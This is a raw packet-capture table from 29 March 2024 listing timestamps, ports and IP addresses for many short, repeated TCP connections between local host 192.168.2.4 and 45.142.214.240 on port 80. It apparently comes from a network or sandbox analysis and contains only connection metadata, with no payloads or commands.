Mar 29, 2024 12:59:04.454185009 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.543636084 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.543719053 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.653286934 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.873845100 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.952740908 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.952924967 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.059288979 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.280066013 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.364540100 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.364639044 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.481348991 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.481771946 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.701484919 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.701594114 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.701803923 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.702765942 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.702826977 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:05.920839071 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.999649048 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:05.999778032 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.106339931 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.325231075 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:06.412883043 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:06.412954092 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.528192997 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.528491020 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.747149944 CET	80	49749	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:06.747251987 CET	49749	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.747888088 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:06.747960091 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.748155117 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:06.968024015 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.046247959 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.046318054 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.153408051 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.372889042 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.458676100 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.458790064 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.586270094 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.586611986 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.804250002 CET	80	49751	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.804372072 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.805202961 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:07.805519104 CET	80	49750	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:07.805583000 CET	49750	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.022984982 CET	80	49751	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.101895094 CET	80	49751	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.101964951 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.215455055 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.215962887 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.433906078 CET	80	49751	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.433983088 CET	49751	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.434894085 CET	80	49752	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.434962034 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.435174942 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.652483940 CET	80	49752	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.741849899 CET	80	49752	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:08.741936922 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.856039047 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:08.856319904 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.073698997 CET	80	49752	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.073765039 CET	49752	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.075498104 CET	80	49753	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.075577974 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.075777054 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.294986010 CET	80	49753	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.380022049 CET	80	49753	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.380141973 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.497020006 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.497309923 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.713552952 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.713761091 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.713854074 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.716573000 CET	80	49753	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:09.716650009 CET	49753	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:09.929989100 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.009288073 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.009350061 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.122006893 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.338351011 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.425319910 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.425404072 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.543561935 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.543858051 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.759927988 CET	80	49754	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.760020018 CET	49754	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.764368057 CET	80	49755	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:10.764446974 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.764656067 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:10.985243082 CET	80	49755	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.064590931 CET	80	49755	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.064685106 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.184175968 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.184494972 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.402733088 CET	80	49756	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.402893066 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.403064966 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.404890060 CET	80	49755	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.404952049 CET	49755	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.620479107 CET	80	49756	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.705988884 CET	80	49756	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:11.706095934 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.825189114 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:11.825474977 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.042998075 CET	80	49756	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.043083906 CET	49756	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.044714928 CET	80	49757	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.044796944 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.050126076 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.270544052 CET	80	49757	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.361087084 CET	80	49757	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.361222029 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.485224009 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.486033916 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.704586029 CET	80	49757	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.704684019 CET	49757	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.708247900 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:12.708326101 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.708509922 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:12.930782080 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.009927988 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.009989977 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.121896029 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.345434904 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.428590059 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.428703070 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.543693066 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.544008017 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.760425091 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.760554075 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.760736942 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.766047001 CET	80	49758	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:13.766113043 CET	49758	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:13.977118969 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.055845976 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.055942059 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.168811083 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.386018991 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.470607996 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.470706940 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.590461016 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.590784073 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.806943893 CET	80	49759	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.807013988 CET	49759	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.815876007 CET	80	49760	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:14.815963030 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:14.816267967 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.038817883 CET	80	49760	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.117500067 CET	80	49760	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.117611885 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.233782053 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.234560013 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.452126026 CET	80	49761	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.452214003 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.452589989 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.456139088 CET	80	49760	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.456209898 CET	49760	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.669976950 CET	80	49761	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.754421949 CET	80	49761	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:15.754576921 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.874087095 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:15.874305964 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.091888905 CET	80	49761	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.091959953 CET	49761	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.093633890 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.093803883 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.093878984 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.313704014 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.402996063 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.403068066 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.512774944 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.732244015 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.811521053 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:16.811726093 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:16.918884993 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.138339043 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.222748041 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.222810984 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.340646029 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.340984106 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.560899973 CET	80	49762	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.560928106 CET	80	49763	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.561058998 CET	49762	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.561110973 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.561358929 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.783201933 CET	80	49763	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.862667084 CET	80	49763	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:17.862726927 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.981065035 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:17.981394053 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.200515032 CET	80	49763	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.200572014 CET	49763	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.200723886 CET	80	49764	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.200798988 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.201076984 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.420671940 CET	80	49764	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.507728100 CET	80	49764	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.507811069 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.621975899 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.622370958 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.841510057 CET	80	49764	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.841609955 CET	49764	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.841814995 CET	80	49765	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:18.841892004 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:18.842102051 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.061404943 CET	80	49765	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.143948078 CET	80	49765	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.144013882 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.262618065 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.262969971 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.482247114 CET	80	49765	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.482352972 CET	49765	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.483397961 CET	80	49766	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.483479977 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.483683109 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.704222918 CET	80	49766	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.782752991 CET	80	49766	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:19.782895088 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.903650999 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:19.903997898 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.123720884 CET	80	49767	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.123826027 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.124058962 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.124609947 CET	80	49766	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.124665022 CET	49766	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.344058990 CET	80	49767	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.427427053 CET	80	49767	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.427565098 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.543848991 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.544298887 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.761734009 CET	80	49768	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.761897087 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.762171030 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.763187885 CET	80	49767	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:20.763252974 CET	49767	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:20.979815006 CET	80	49768	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.058628082 CET	80	49768	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.058749914 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.173156023 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.173969984 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.390919924 CET	80	49768	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.390978098 CET	49768	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.393568993 CET	80	49769	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.393639088 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.394081116 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.613420010 CET	80	49769	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.699054003 CET	80	49769	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:21.699121952 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.813805103 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:21.814130068 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.033262014 CET	80	49769	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.033354998 CET	49769	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.033576965 CET	80	49770	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.033663034 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.033828974 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.253478050 CET	80	49770	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.338841915 CET	80	49770	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.338975906 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.465507030 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.465830088 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.683783054 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.683871984 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.684058905 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.685347080 CET	80	49770	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.685400963 CET	49770	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:22.901575089 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.981014013 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:22.981100082 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.090769053 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.308481932 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:23.392504930 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:23.392570972 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.512465954 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.512820959 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.730604887 CET	80	49771	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:23.730724096 CET	49771	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.731539965 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:23.731632948 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.732156038 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:23.950818062 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.030029058 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.030236006 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.138039112 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.357271910 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.440438032 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.440499067 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.559335947 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.559639931 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.777475119 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.777570009 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.777762890 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.779717922 CET	80	49772	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:24.779778004 CET	49772	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:24.995261908 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.074517965 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.074572086 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.184508085 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.401913881 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.488177061 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.488249063 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.606355906 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.606662989 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.825232029 CET	80	49773	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.825316906 CET	49773	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.828150034 CET	80	49774	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:25.828226089 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:25.828412056 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.049175024 CET	80	49774	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.128143072 CET	80	49774	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.128201008 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.246984005 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.247267008 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.468374014 CET	80	49774	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.468456984 CET	49774	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.469508886 CET	80	49775	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.469584942 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.471385002 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.695960999 CET	80	49775	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.782794952 CET	80	49775	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:26.783173084 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.903116941 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:26.903400898 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.122677088 CET	80	49776	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.122756004 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.122910023 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.125365019 CET	80	49775	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.125422001 CET	49775	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.342010975 CET	80	49776	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.429785967 CET	80	49776	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.429827929 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.543673992 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.544059992 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.761678934 CET	80	49777	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.761974096 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.762065887 CET	49777	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.765714884 CET	80	49776	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:27.765918016 CET	49776	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:27.980777025 CET	80	49777	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:28.060153961 CET	80	49777	45.142.214.240	192.168.2.4
